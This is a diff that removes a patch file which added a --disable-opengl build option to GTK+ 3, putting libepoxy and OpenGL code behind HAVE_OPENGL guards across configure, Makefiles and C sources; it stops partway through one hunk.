-From: Jussi Kukkonen <jussi.kukkonen@intel.com>
-Date: Tue, 21 Jun 2016 15:11:39 +0300
-Subject: [PATCH] Add --disable-opengl configure option
-
---disable-opengl will remove the dependency on libepoxy and on the
-OpenGL APIs. This is useful for those who want to keep using gtk+3
-without the "opengl" distro feature.
-
-GtkGLArea is still part of the API (it just doesn't work) even when
-OpenGL is disabled. GdkX11GLContext was removed from the Gtk API
-completely: that object exposes GL API elements so it had to be at
-the very least modified.
-
-The patch is _not_ great from a maintenance point of view and
-modifying the library API is also a fairly nasty thing to do.
-Next long term release (4.0) will require alternative solutions
-as it actually will depend on OpenGL.
-
-Upstream-Status: Inappropriate [Evil eye expected from upstream]
-Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
-
----
- configure.ac | 13 ++++-
- demos/gtk-demo/glarea.c | 14 ++++++
- docs/tools/Makefile.am | 9 +++-
- docs/tools/widgets.c | 4 +-
- gdk/Makefile.am | 8 ++-
- gdk/gdkdisplay.c | 4 +-
- gdk/gdkgl.c | 10 ++++
- gdk/gdkglcontext.c | 6 +++
- gdk/gdkwindow.c | 13 +++++
- gdk/x11/Makefile.am | 30 +++++++++--
- gdk/x11/gdkdisplay-x11.c | 6 ++-
- gdk/x11/gdkscreen-x11.c | 5 ++
- gdk/x11/gdkwindow-x11.c | 4 ++
- gdk/x11/gdkx-autocleanups.h | 2 +
- gdk/x11/{gdkx.h => gdkx-with-gl-context.h} | 1 -
- gdk/x11/gdkx-without-gl-context.h | 58 ++++++++++++++++++++++
- gtk/Makefile.am | 2 +-
- gtk/gtkglarea.c | 20 +++++++-
- gtk/inspector/general.c | 6 +++
- tests/Makefile.am | 10 ++--
- testsuite/gtk/objects-finalize.c | 2 +
- 21 files changed, 208 insertions(+), 19 deletions(-)
- rename gdk/x11/{gdkx.h => gdkx-with-gl-context.h} (98%)
- create mode 100644 gdk/x11/gdkx-without-gl-context.h
-
-diff --git a/configure.ac b/configure.ac
-index bd651bb..b4c061f 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -346,6 +346,15 @@ AC_ARG_ENABLE(cloudproviders,
- [AS_HELP_STRING([--enable-cloudproviders],
- [enable libcloudproviders integration])],
- [cloudproviders_set=yes])
-+AC_ARG_ENABLE(opengl,
-+ [AS_HELP_STRING([--enable-opengl],
-+ [When enabled, Gtk+ will use libepoxy and exposes GtkGLArea widget ])])
-+AS_IF([test "x$enable_opengl" != "xno"], [
-+ AC_DEFINE([HAVE_OPENGL], [1], [libepoxy and opengl APIs are available at buildtime])
-+ EPOXY_PACKAGES="epoxy >= epoxy_required_version"
-+])
-+AM_CONDITIONAL([HAVE_OPENGL],[test "x$enable_opengl" != "xno"])
-+
- AC_ARG_ENABLE(glx,
- [AS_HELP_STRING([--enable-glx],
- [When enabled Gdk will try to initialize GLX])])
-@@ -1345,7 +1354,7 @@ CFLAGS="$saved_cflags"
- LDFLAGS="$saved_ldflags"
-
- GDK_PACKAGES="$PANGO_PACKAGES gdk-pixbuf-2.0 >= gdk_pixbuf_required_version cairo >= cairo_required_version cairo-gobject >= cairo_required_version"
--GDK_PRIVATE_PACKAGES="$GDK_GIO_PACKAGE $X_PACKAGES $WAYLAND_PACKAGES $cairo_backends epoxy >= epoxy_required_version $CLOUDPROVIDER_PACKAGES $PROFILER_PACKAGES fribidi >= fribidi_required_version"
-+GDK_PRIVATE_PACKAGES="$GDK_GIO_PACKAGE $X_PACKAGES $WAYLAND_PACKAGES $cairo_backends $EPOXY_PACKAGES $CLOUDPROVIDER_PACKAGES $PROFILER_PACKAGES fribidi >= fribidi_required_version"
-
- PKG_CHECK_MODULES(GDK_DEP, $GDK_PACKAGES $GDK_PRIVATE_PACKAGES)
- GDK_DEP_LIBS="$GDK_EXTRA_LIBS $GDK_DEP_LIBS $MATH_LIB"
-@@ -1379,7 +1388,7 @@ fi
- PKG_CHECK_MODULES(ATK, $ATK_PACKAGES)
-
- GTK_PACKAGES="atk >= atk_required_version cairo >= cairo_required_version cairo-gobject >= cairo_required_version gdk-pixbuf-2.0 >= gdk_pixbuf_required_version gio-2.0 >= glib_required_version"
--GTK_PRIVATE_PACKAGES="$ATK_PACKAGES $WAYLAND_PACKAGES epoxy >= epoxy_required_version fribidi >= fribidi_required_version"
-+GTK_PRIVATE_PACKAGES="$ATK_PACKAGES $WAYLAND_PACKAGES $EPOXY_PACKAGES fribidi >= fribidi_required_version"
- if test "x$enable_x11_backend" = xyes -o "x$enable_wayland_backend" = xyes; then
- GTK_PRIVATE_PACKAGES="$GTK_PRIVATE_PACKAGES pangoft2"
- fi
-diff --git a/demos/gtk-demo/glarea.c b/demos/gtk-demo/glarea.c
-index b51e4ae..82409c7 100644
---- a/demos/gtk-demo/glarea.c
-+++ b/demos/gtk-demo/glarea.c
-@@ -3,9 +3,12 @@
- * GtkGLArea is a widget that allows custom drawing using OpenGL calls.
- */
-
-+#include "config.h"
- #include <math.h>
- #include <gtk/gtk.h>
-+#if HAVE_OPENGL
- #include <epoxy/gl.h>
-+#endif
-
- static GtkWidget *demo_window = NULL;
-
-@@ -23,6 +26,8 @@ enum {
- /* Rotation angles on each axis */
- static float rotation_angles[N_AXIS] = { 0.0 };
-
-+#ifdef HAVE_OPENGL
-+
- /* The object we are drawing */
- static const GLfloat vertex_data[] = {
- 0.f, 0.5f, 0.f, 1.f,
-@@ -215,6 +220,7 @@ compute_mvp (float *res,
- static GLuint position_buffer;
- static GLuint program;
- static GLuint mvp_location;
-+#endif
-
- /* We need to set up our state when we realize the GtkGLArea widget */
- static void
-@@ -241,8 +247,10 @@ realize (GtkWidget *widget)
- fragment_path = "/glarea/glarea-gl.fs.glsl";
- }
-
-+#ifdef HAVE_OPENGL
- init_buffers (&position_buffer, NULL);
- init_shaders (vertex_path, fragment_path, &program, &mvp_location);
-+#endif
- }
-
- /* We should tear down the state when unrealizing */
-@@ -254,10 +262,13 @@ unrealize (GtkWidget *widget)
- if (gtk_gl_area_get_error (GTK_GL_AREA (widget)) != NULL)
- return;
-
-+#ifdef HAVE_OPENGL
- glDeleteBuffers (1, &position_buffer);
- glDeleteProgram (program);
-+#endif
- }
-
-+#ifdef HAVE_OPENGL
- static void
- draw_triangle (void)
- {
-@@ -290,6 +301,7 @@ draw_triangle (void)
- glBindBuffer (GL_ARRAY_BUFFER, 0);
- glUseProgram (0);
- }
-+#endif
-
- static gboolean
- render (GtkGLArea *area,
-@@ -298,6 +310,7 @@ render (GtkGLArea *area,
- if (gtk_gl_area_get_error (area) != NULL)
- return FALSE;
-
-+#ifdef HAVE_OPENGL
- /* Clear the viewport */
- glClearColor (0.5, 0.5, 0.5, 1.0);
- glClear (GL_COLOR_BUFFER_BIT);
-@@ -307,6 +320,7 @@ render (GtkGLArea *area,
-
- /* Flush the contents of the pipeline */
- glFlush ();
-+#endif
-
- return TRUE;
- }
-diff --git a/docs/tools/Makefile.am b/docs/tools/Makefile.am
-index bec43e3..189e8fc 100644
---- a/docs/tools/Makefile.am
-+++ b/docs/tools/Makefile.am
-@@ -9,13 +9,18 @@ AM_CPPFLAGS = \
- $(GTK_DEBUG_FLAGS) \
- $(GTK_DEP_CFLAGS)
-
-+if HAVE_OPENGL
-+GEARS_LDADD = $(top_builddir)/tests/gtkgears.o
-+endif
-+
- DEPS = \
-- $(top_builddir)/gtk/libgtk-3.la
-+ $(top_builddir)/gtk/libgtk-3.la \
-+ $(GEARS_LDADD)
-
- LDADDS = \
- $(top_builddir)/gtk/libgtk-3.la \
- $(top_builddir)/gdk/libgdk-3.la \
-- $(top_builddir)/tests/gtkgears.o \
-+ $(GEARS_LDADD) \
- $(GTK_DEP_LIBS) \
- $(GDK_DEP_LIBS) \
- -lm
-diff --git a/docs/tools/widgets.c b/docs/tools/widgets.c
-index 932daf1..54239d6 100644
---- a/docs/tools/widgets.c
-+++ b/docs/tools/widgets.c
-@@ -1526,9 +1526,11 @@ create_gl_area (void)
- widget = gtk_frame_new (NULL);
- gtk_frame_set_shadow_type (GTK_FRAME (widget), GTK_SHADOW_IN);
-
-+#ifdef HAVE_OPENGL
- gears = gtk_gears_new ();
- gtk_container_add (GTK_CONTAINER (widget), gears);
--
-+#endif
-+
- info = new_widget_info ("glarea", widget, MEDIUM);
-
- return info;
-diff --git a/gdk/Makefile.am b/gdk/Makefile.am
-index 479d6a1..7edbee8 100644
---- a/gdk/Makefile.am
-+++ b/gdk/Makefile.am
-@@ -274,7 +274,6 @@ x11_introspection_files = \
- x11/gdkeventsource.c \
- x11/gdkeventtranslator.c \
- x11/gdkgeometry-x11.c \
-- x11/gdkglcontext-x11.c \
- x11/gdkkeys-x11.c \
- x11/gdkmain-x11.c \
- x11/gdkmonitor-x11.c \
-@@ -300,7 +299,6 @@ x11_introspection_files = \
- x11/gdkx11display.h \
- x11/gdkx11displaymanager.h \
- x11/gdkx11dnd.h \
-- x11/gdkx11glcontext.h \
- x11/gdkx11keys.h \
- x11/gdkx11monitor.h \
- x11/gdkx11property.h \
-@@ -310,6 +308,12 @@ x11_introspection_files = \
- x11/gdkx11visual.h \
- x11/gdkx11window.h
-
-+if HAVE_OPENGL
-+x11_introspection_files += \
-+ x11/gdkglcontext-x11.c \
-+ x11/gdkx11glcontext.h
-+endif
-+
- GdkX11-3.0.gir: libgdk-3.la Gdk-3.0.gir Makefile
- GdkX11_3_0_gir_SCANNERFLAGS = \
- --identifier-prefix=Gdk \
-diff --git a/gdk/gdkdisplay.c b/gdk/gdkdisplay.c
-index 240c99f..9eb49bf 100644
---- a/gdk/gdkdisplay.c
-+++ b/gdk/gdkdisplay.c
-@@ -2419,7 +2419,9 @@ gboolean
- gdk_display_make_gl_context_current (GdkDisplay *display,
- GdkGLContext *context)
- {
-- return GDK_DISPLAY_GET_CLASS (display)->make_gl_context_current (display, context);
-+ if (GDK_DISPLAY_GET_CLASS (display)->make_gl_context_current)
-+ return GDK_DISPLAY_GET_CLASS (display)->make_gl_context_current (display, context);
-+ return FALSE;
- }
-
- GdkRenderingMode
-diff --git a/gdk/gdkgl.c b/gdk/gdkgl.c
-index 933e204..1767508 100644
---- a/gdk/gdkgl.c
-+++ b/gdk/gdkgl.c
-@@ -26,7 +26,9 @@
- # include "win32/gdkwin32.h"
- #endif
-
-+#ifdef HAVE_OPENGL
- #include <epoxy/gl.h>
-+#endif
- #include <math.h>
- #include <string.h>
-
-@@ -40,6 +42,7 @@ gdk_cairo_surface_mark_as_direct (cairo_surface_t *surface,
- g_object_ref (window), g_object_unref);
- }
-
-+#ifdef HAVE_OPENGL
- static const char *
- get_vertex_type_name (int type)
- {
-@@ -212,6 +215,7 @@ use_texture_rect_program (GdkGLContextPaintData *paint_data)
- glUseProgram (paint_data->current_program->program);
- }
- }
-+#endif
-
- void
- gdk_gl_texture_quads (GdkGLContext *paint_context,
-@@ -220,6 +224,7 @@ gdk_gl_texture_quads (GdkGLContext *paint_context,
- GdkTexturedQuad *quads,
- gboolean flip_colors)
- {
-+#ifdef HAVE_OPENGL
- GdkGLContextPaintData *paint_data = gdk_gl_context_get_paint_data (paint_context);
- GdkGLContextProgram *program;
- GdkWindow *window = gdk_gl_context_get_window (paint_context);
-@@ -293,6 +298,7 @@ gdk_gl_texture_quads (GdkGLContext *paint_context,
-
- glDisableVertexAttribArray (program->position_location);
- glDisableVertexAttribArray (program->uv_location);
-+#endif
- }
-
- /* x,y,width,height describes a rectangle in the gl render buffer
-@@ -341,6 +347,7 @@ gdk_cairo_draw_from_gl (cairo_t *cr,
- int width,
- int height)
- {
-+#ifdef HAVE_OPENGL
- GdkGLContext *paint_context;
- cairo_surface_t *image;
- cairo_matrix_t matrix;
-@@ -718,6 +725,7 @@ out:
- if (clip_region)
- cairo_region_destroy (clip_region);
-
-+#endif
- }
-
- /* This is always called with the paint context current */
-@@ -725,6 +733,7 @@ void
- gdk_gl_texture_from_surface (cairo_surface_t *surface,
- cairo_region_t *region)
- {
-+#ifdef HAVE_OPENGL
- GdkGLContext *paint_context;
- cairo_surface_t *image;
- double device_x_offset, device_y_offset;
-@@ -825,4 +834,5 @@ gdk_gl_texture_from_surface (cairo_surface_t *surface,
-
- glDisable (GL_SCISSOR_TEST);
- glDeleteTextures (1, &texture_id);
-+#endif
- }
-diff --git a/gdk/gdkglcontext.c b/gdk/gdkglcontext.c
-index dfbed63..556f0a3 100644
---- a/gdk/gdkglcontext.c
-+++ b/gdk/gdkglcontext.c
-@@ -85,7 +85,9 @@
- #include "gdkintl.h"
- #include "gdk-private.h"
-
-+#ifdef HAVE_OPENGL
- #include <epoxy/gl.h>
-+#endif
-
- typedef struct {
- GdkDisplay *display;
-@@ -243,6 +245,7 @@ gdk_gl_context_upload_texture (GdkGLContext *context,
- int height,
- guint texture_target)
- {
-+#ifdef HAVE_OPENGL
- GdkGLContextPrivate *priv = gdk_gl_context_get_instance_private (context);
-
- g_return_if_fail (GDK_IS_GL_CONTEXT (context));
-@@ -286,6 +289,7 @@ gdk_gl_context_upload_texture (GdkGLContext *context,
- glTexSubImage2D (texture_target, 0, 0, i, width, 1, GL_BGRA, GL_UNSIGNED_INT_8_8_8_8_REV, (unsigned char*) data + (i * stride));
- }
- }
-+#endif
- }
-
- static gboolean
-@@ -774,6 +778,7 @@ gdk_gl_context_realize (GdkGLContext *context,
- static void
- gdk_gl_context_check_extensions (GdkGLContext *context)
- {
-+#ifdef HAVE_OPENGL
- GdkGLContextPrivate *priv = gdk_gl_context_get_instance_private (context);
- gboolean has_npot, has_texture_rectangle;
-
-@@ -853,6 +858,7 @@ gdk_gl_context_check_extensions (GdkGLContext *context)
- priv->use_texture_rectangle ? "yes" : "no"));
-
- priv->extensions_checked = TRUE;
-+#endif
- }
-
- /**
-diff --git a/gdk/gdkwindow.c b/gdk/gdkwindow.c
-index 6ae0f86..4e48a2a 100644
---- a/gdk/gdkwindow.c
-+++ b/gdk/gdkwindow.c
-@@ -45,7 +45,9 @@
-
- #include <math.h>
-
-+#ifdef HAVE_OPENGL
- #include <epoxy/gl.h>
-+#endif
-
- /* for the use of round() */
- #include "fallback-c89.c"
-@@ -2844,6 +2846,13 @@ gdk_window_get_paint_gl_context (GdkWindow *window,
- {
- GError *internal_error = NULL;
-
-+#ifndef HAVE_OPENGL
-+ g_set_error_literal (error, GDK_GL_ERROR,
-+ GDK_GL_ERROR_NOT_AVAILABLE,
-+ _("GL support disabled with --disable-opengl"));
-+ return NULL;
-+#endif
-+
- if (_gdk_gl_flags & GDK_GL_DISABLE)
- {
- g_set_error_literal (error, GDK_GL_ERROR,
-@@ -2979,6 +2988,7 @@ gdk_window_begin_paint_internal (GdkWindow *window,
- }
- else
- {
-+#ifdef HAVE_OPENGL
- gdk_gl_context_make_current (context);
- /* With gl we always need a surface to combine the gl
- drawing with the native drawing. */
-@@ -2993,6 +3003,7 @@ gdk_window_begin_paint_internal (GdkWindow *window,
- glBlendFunc (GL_ONE, GL_ONE_MINUS_SRC_ALPHA);
-
- glViewport (0, 0, ww, wh);
-+#endif
- }
- }
-
-@@ -3056,6 +3067,7 @@ gdk_window_end_paint_internal (GdkWindow *window)
-
- gdk_gl_context_make_current (window->gl_paint_context);
-
-+#ifdef HAVE_OPENGL
- if (!cairo_region_is_empty (opaque_region))
- gdk_gl_texture_from_surface (window->current_paint.surface,
- opaque_region);
-@@ -3066,6 +3078,7 @@ gdk_window_end_paint_internal (GdkWindow *window)
- window->current_paint.need_blend_region);
- glDisable(GL_BLEND);
- }
-+#endif
-
- cairo_region_destroy (opaque_region);
-
-diff --git a/gdk/x11/Makefile.am b/gdk/x11/Makefile.am
-index 32b1f24..6352313 100644
---- a/gdk/x11/Makefile.am
-+++ b/gdk/x11/Makefile.am
-@@ -40,8 +40,6 @@ libgdk_x11_la_SOURCES = \
- gdkeventtranslator.c \
- gdkeventtranslator.h \
- gdkgeometry-x11.c \
-- gdkglcontext-x11.c \
-- gdkglcontext-x11.h \
- gdkkeys-x11.c \
- gdkmain-x11.c \
- gdkmonitor-x11.c \
-@@ -56,14 +54,32 @@ libgdk_x11_la_SOURCES = \
- gdkwindow-x11.h \
- gdkxftdefaults.c \
- gdkxid.c \
-- gdkx.h \
- gdkprivate-x11.h \
- xsettings-client.h \
- xsettings-client.c
-
-+if HAVE_OPENGL
-+libgdk_x11_la_SOURCES += \
-+ gdkglcontext-x11.c \
-+ gdkglcontext-x11.h
-+endif
-+
- libgdkinclude_HEADERS = \
- gdkx.h
-
-+if HAVE_OPENGL
-+GDKX_HEADER = gdkx-with-gl-context.h
-+else
-+GDKX_HEADER = gdkx-without-gl-context.h
-+endif
-+
-+BUILT_SOURCES = gdkx.h
-+
-+.PHONY: gdkx.h
-+gdkx.h:
-+ $(AM_V_GEN) cd $(srcdir) \
-+ && (cmp -s $(GDKX_HEADER) gdkx.h || cp $(GDKX_HEADER) gdkx.h )
-+
- libgdkx11include_HEADERS = \
- gdkx-autocleanups.h \
- gdkx11applaunchcontext.h \
-@@ -77,7 +93,6 @@ libgdkx11include_HEADERS = \
- gdkx11display.h \
- gdkx11displaymanager.h \
- gdkx11dnd.h \
-- gdkx11glcontext.h \
- gdkx11keys.h \
- gdkx11monitor.h \
- gdkx11property.h \
-@@ -87,10 +102,17 @@ libgdkx11include_HEADERS = \
- gdkx11visual.h \
- gdkx11window.h
-
-+if HAVE_OPENGL
-+libgdkx11include_HEADERS += gdkx11glcontext.h
-+endif
-+
- # We need to include all these C files here since the conditionals
- # don't seem to be correctly expanded for the dist files.
- EXTRA_DIST += \
-+ gdkx.h \
- gdksettings.c \
- meson.build
-
-+MAINTAINERCLEANFILES = gdkx.h
-+
- -include $(top_srcdir)/git.mk
-diff --git a/gdk/x11/gdkdisplay-x11.c b/gdk/x11/gdkdisplay-x11.c
-index 817944e..e7a2947 100644
---- a/gdk/x11/gdkdisplay-x11.c
-+++ b/gdk/x11/gdkdisplay-x11.c
-@@ -37,7 +37,9 @@
- #include "gdkdisplay-x11.h"
- #include "gdkprivate-x11.h"
- #include "gdkscreen-x11.h"
-+#ifdef HAVE_OPENGL
- #include "gdkglcontext-x11.h"
-+#endif
- #include "gdk-private.h"
- #include "gdkprofilerprivate.h"
-
-@@ -3188,7 +3190,9 @@ gdk_x11_display_class_init (GdkX11DisplayClass * class)
- display_class->text_property_to_utf8_list = _gdk_x11_display_text_property_to_utf8_list;
- display_class->utf8_to_string_target = _gdk_x11_display_utf8_to_string_target;
-
-- display_class->make_gl_context_current = gdk_x11_display_make_gl_context_current;
-+#ifdef HAVE_OPENGL
-+ display_class->make_gl_context_current = gdk_x11_display_make_gl_context_current;
-+#endif
-
- display_class->get_default_seat = gdk_x11_display_get_default_seat;
-
-diff --git a/gdk/x11/gdkscreen-x11.c b/gdk/x11/gdkscreen-x11.c
-index 8939ae9..931bff9 100644
---- a/gdk/x11/gdkscreen-x11.c
-+++ b/gdk/x11/gdkscreen-x11.c
-@@ -1723,3 +1723,8 @@ gdk_x11_screen_get_current_desktop (GdkScreen *screen)
- {
- return get_netwm_cardinal_property (screen, "_NET_CURRENT_DESKTOP");
- }
-+
-+#ifndef HAVE_OPENGL
-+/* Function from in gdk/x11/gdkglcontext-x11.c */
-+void _gdk_x11_screen_update_visuals_for_gl (GdkScreen *screen) {}
-+#endif
-diff --git a/gdk/x11/gdkwindow-x11.c b/gdk/x11/gdkwindow-x11.c
-index 1fe7b90..d23a347 100644
---- a/gdk/x11/gdkwindow-x11.c
-+++ b/gdk/x11/gdkwindow-x11.c
-@@ -36,7 +36,9 @@
- #include "gdkasync.h"
- #include "gdkeventsource.h"
- #include "gdkdisplay-x11.h"
-+#ifdef HAVE_OPENGL
- #include "gdkglcontext-x11.h"
-+#endif
- #include "gdkprivate-x11.h"
- #include "gdk-private.h"
-
-@@ -5861,7 +5863,9 @@ gdk_window_impl_x11_class_init (GdkWindowImplX11Class *klass)
- impl_class->set_opaque_region = gdk_x11_window_set_opaque_region;
- impl_class->set_shadow_width = gdk_x11_window_set_shadow_width;
- impl_class->show_window_menu = gdk_x11_window_show_window_menu;
-+#ifdef HAVE_OPENGL
- impl_class->create_gl_context = gdk_x11_window_create_gl_context;
- impl_class->invalidate_for_new_frame = gdk_x11_window_invalidate_for_new_frame;
-+#endif
- impl_class->get_unscaled_size = gdk_x11_window_get_unscaled_size;
- }
-diff --git a/gdk/x11/gdkx-autocleanups.h b/gdk/x11/gdkx-autocleanups.h
-index edb0ea7..a317d61 100644
---- a/gdk/x11/gdkx-autocleanups.h
-+++ b/gdk/x11/gdkx-autocleanups.h
-@@ -30,7 +30,9 @@ G_DEFINE_AUTOPTR_CLEANUP_FUNC(GdkX11DeviceXI2, g_object_unref)
- G_DEFINE_AUTOPTR_CLEANUP_FUNC(GdkX11Display, g_object_unref)
- G_DEFINE_AUTOPTR_CLEANUP_FUNC(GdkX11DisplayManager, g_object_unref)
- G_DEFINE_AUTOPTR_CLEANUP_FUNC(GdkX11DragContext, g_object_unref)
-+#ifdef HAVE_OPENGL
- G_DEFINE_AUTOPTR_CLEANUP_FUNC(GdkX11GLContext, g_object_unref)
-+#endif
- G_DEFINE_AUTOPTR_CLEANUP_FUNC(GdkX11Keymap, g_object_unref)
- G_DEFINE_AUTOPTR_CLEANUP_FUNC(GdkX11Screen, g_object_unref)
- G_DEFINE_AUTOPTR_CLEANUP_FUNC(GdkX11Visual, g_object_unref)
-diff --git a/gdk/x11/gdkx.h b/gdk/x11/gdkx-with-gl-context.h
-similarity index 98%
-rename from gdk/x11/gdkx.h
-rename to gdk/x11/gdkx-with-gl-context.h
-index 1f64bcc..ae05fa6 100644
---- a/gdk/x11/gdkx.h
-+++ b/gdk/x11/gdkx-with-gl-context.h
-@@ -45,7 +45,6 @@
- #include <gdk/x11/gdkx11dnd.h>
- #include <gdk/x11/gdkx11glcontext.h>
- #include <gdk/x11/gdkx11keys.h>
--#include <gdk/x11/gdkx11monitor.h>
- #include <gdk/x11/gdkx11property.h>
- #include <gdk/x11/gdkx11screen.h>
- #include <gdk/x11/gdkx11selection.h>
-diff --git a/gdk/x11/gdkx-without-gl-context.h b/gdk/x11/gdkx-without-gl-context.h
-new file mode 100644
-index 0000000..c9e2617
---- /dev/null
-+++ b/gdk/x11/gdkx-without-gl-context.h
-@@ -0,0 +1,58 @@
-+/* GDK - The GIMP Drawing Kit
-+ * Copyright (C) 1995-1997 Peter Mattis, Spencer Kimball and Josh MacDonald
-+ *
-+ * This library is free software; you can redistribute it and/or
-+ * modify it under the terms of the GNU Lesser General Public
-+ * License as published by the Free Software Foundation; either
-+ * version 2 of the License, or (at your option) any later version.
-+ *
-+ * This library is distributed in the hope that it will be useful,
-+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-+ * Lesser General Public License for more details.
-+ *
-+ * You should have received a copy of the GNU Lesser General Public
-+ * License along with this library. If not, see <http://www.gnu.org/licenses/>.
-+ */
-+
-+/*
-+ * Modified by the GTK+ Team and others 1997-2000. See the AUTHORS
-+ * file for a list of people on the GTK+ Team. See the ChangeLog
-+ * files for a list of changes. These files are distributed with
-+ * GTK+ at ftp://ftp.gtk.org/pub/gtk/.
-+ */
-+
-+#ifndef __GDK_X_H__
-+#define __GDK_X_H__
-+
-+#include <gdk/gdk.h>
-+
-+#include <X11/Xlib.h>
-+#include <X11/Xutil.h>
-+
-+#define __GDKX_H_INSIDE__
-+
-+#include <gdk/x11/gdkx11applaunchcontext.h>
-+#include <gdk/x11/gdkx11cursor.h>
-+#include <gdk/x11/gdkx11device.h>
-+#include <gdk/x11/gdkx11device-core.h>
-+#include <gdk/x11/gdkx11device-xi2.h>
-+#include <gdk/x11/gdkx11devicemanager.h>
-+#include <gdk/x11/gdkx11devicemanager-core.h>
-+#include <gdk/x11/gdkx11devicemanager-xi2.h>
-+#include <gdk/x11/gdkx11display.h>
-+#include <gdk/x11/gdkx11displaymanager.h>
-+#include <gdk/x11/gdkx11dnd.h>
-+#include <gdk/x11/gdkx11keys.h>
-+#include <gdk/x11/gdkx11property.h>
-+#include <gdk/x11/gdkx11screen.h>
-+#include <gdk/x11/gdkx11selection.h>
-+#include <gdk/x11/gdkx11utils.h>
-+#include <gdk/x11/gdkx11visual.h>
-+#include <gdk/x11/gdkx11window.h>
-+
-+#include <gdk/x11/gdkx-autocleanups.h>
-+
-+#undef __GDKX_H_INSIDE__
-+
-+#endif /* __GDK_X_H__ */
-diff --git a/gtk/Makefile.am b/gtk/Makefile.am
-index eaca473..99352d1 100644
---- a/gtk/Makefile.am
-+++ b/gtk/Makefile.am
-@@ -1449,7 +1449,7 @@ gtktypefuncs.inc: stamp-gtktypebuiltins.h stamp-gtkprivatetypebuiltins.h $(top_s
- ${CPP} $(DEFS) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) xgen-gtfsrc.c | \
- $(GREP) -o '\bg[td]k_[a-zA-Z0-9_]*_get_type\b' | \
- sort | uniq | \
-- $(SED) '{ s/^/*tp++ = /; s/$$/();/; s/^.*\(gdk_x11\|gtk_plug_\|gtk_socket_\).*$$/#ifdef GDK_WINDOWING_X11\n&\n#endif/; }' >> xgen-gtf \
-+ $(SED) '{ s/^/*tp++ = /; s/$$/();/; s/^.*\(gdk_x11\|gtk_plug_\|gtk_socket_\).*$$/#ifdef GDK_WINDOWING_X11\n&\n#endif/; s/^.*gdk_x11_gl.*$$/#ifdef HAVE_OPENGL\n&\n#endif/; }' >> xgen-gtf \
- && cp xgen-gtf $@ && rm -f xgen-gtf
- $(srcdir)/gtktestutils.c: gtktypefuncs.inc
-
-diff --git a/gtk/gtkglarea.c b/gtk/gtkglarea.c
-index 9a56443..7de0db2 100644
---- a/gtk/gtkglarea.c
-+++ b/gtk/gtkglarea.c
-@@ -29,7 +29,9 @@
- #include "gtkprivate.h"
- #include "gtkrender.h"
-
-+#ifdef HAVE_OPENGL
- #include <epoxy/gl.h>
-+#endif
-
- /**
- * SECTION:gtkglarea
-@@ -369,9 +371,12 @@ gtk_gl_area_real_create_context (GtkGLArea *area)
- static void
- gtk_gl_area_resize (GtkGLArea *area, int width, int height)
- {
-+#ifdef HAVE_OPENGL
- glViewport (0, 0, width, height);
-+#endif
- }
-
-+#ifdef HAVE_OPENGL
- /*
- * Creates all the buffer objects needed for rendering the scene
- */
-@@ -483,6 +488,7 @@ gtk_gl_area_allocate_buffers (GtkGLArea *area)
-
- priv->needs_render = TRUE;
- }
-+#endif
-
- /**
- * gtk_gl_area_attach_buffers:
-@@ -501,6 +507,7 @@ gtk_gl_area_allocate_buffers (GtkGLArea *area)
- void
- gtk_gl_area_attach_buffers (GtkGLArea *area)
- {
-+#ifdef HAVE_OPENGL
- GtkGLAreaPrivate *priv = gtk_gl_area_get_instance_private (area);
-
- g_return_if_fail (GTK_IS_GL_AREA (area));
-@@ -533,11 +540,13 @@ gtk_gl_area_attach_buffers (GtkGLArea *area)
- glFramebufferRenderbufferEXT (GL_FRAMEBUFFER_EXT, GL_STENCIL_ATTACHMENT_EXT,
- GL_RENDERBUFFER_EXT, priv->depth_stencil_buffer);
- }
-+#endif
- }
-
- static void
- gtk_gl_area_delete_buffers (GtkGLArea *area)
- {
-+#ifdef HAVE_OPENGL
- GtkGLAreaPrivate *priv = gtk_gl_area_get_instance_private (area);
-
- if (priv->context == NULL)
-@@ -569,6 +578,7 @@ gtk_gl_area_delete_buffers (GtkGLArea *area)
- glDeleteFramebuffersEXT (1, &priv->frame_buffer);
- priv->frame_buffer = 0;
- }
-+#endif
- }
-
- static void
-@@ -679,6 +689,7 @@ gtk_gl_area_draw (GtkWidget *widget,
- GtkGLArea *area = GTK_GL_AREA (widget);
- GtkGLAreaPrivate *priv = gtk_gl_area_get_instance_private (area);
- gboolean unused;
-+#ifdef HAVE_OPENGL
- int w, h, scale;
- GLenum status;
-
-@@ -690,7 +701,6 @@ gtk_gl_area_draw (GtkWidget *widget,
- gtk_widget_get_allocated_height (widget));
- return FALSE;
- }
--
- if (priv->context == NULL)
- return FALSE;
-
-@@ -736,6 +746,14 @@ gtk_gl_area_draw (GtkWidget *widget,
- }
-
- return TRUE;
-+#else
-+ if (priv->error != NULL)
-+ gtk_gl_area_draw_error_screen (area,
-+ cr,
-+ gtk_widget_get_allocated_width (widget),
-+ gtk_widget_get_allocated_height (widget));
-+ return FALSE;
-+#endif
- }
-
- static gboolean
-diff --git a/gtk/inspector/general.c b/gtk/inspector/general.c
-index c241ec8..24576dd 100644
---- a/gtk/inspector/general.c
-+++ b/gtk/inspector/general.c
-@@ -33,8 +33,10 @@
-
- #ifdef GDK_WINDOWING_X11
- #include "x11/gdkx.h"
-+#ifdef HAVE_OPENGL
- #include <epoxy/glx.h>
- #endif
-+#endif
-
- #ifdef GDK_WINDOWING_WIN32
- #include "win32/gdkwin32.h"
-@@ -196,6 +198,7 @@ add_label_row (GtkInspectorGeneral *gen,
- gtk_size_group_add_widget (GTK_SIZE_GROUP (gen->priv->labels), label);
- }
-
-+#ifdef HAVE_OPENGL
- #ifdef GDK_WINDOWING_X11
- static void
- append_glx_extension_row (GtkInspectorGeneral *gen,
-@@ -205,6 +208,7 @@ append_glx_extension_row (GtkInspectorGeneral *gen,
- add_check_row (gen, GTK_LIST_BOX (gen->priv->gl_box), ext, epoxy_has_glx_extension (dpy, 0, ext), 0);
- }
- #endif
-+#endif
-
- #ifdef GDK_WINDOWING_WAYLAND
- static void
-@@ -254,6 +258,7 @@ wayland_get_display (struct wl_display *wl_display)
- static void
- init_gl (GtkInspectorGeneral *gen)
- {
-+#ifdef HAVE_OPENGL
- #ifdef GDK_WINDOWING_X11
- if (GDK_IS_X11_DISPLAY (gdk_display_get_default ()))
- {
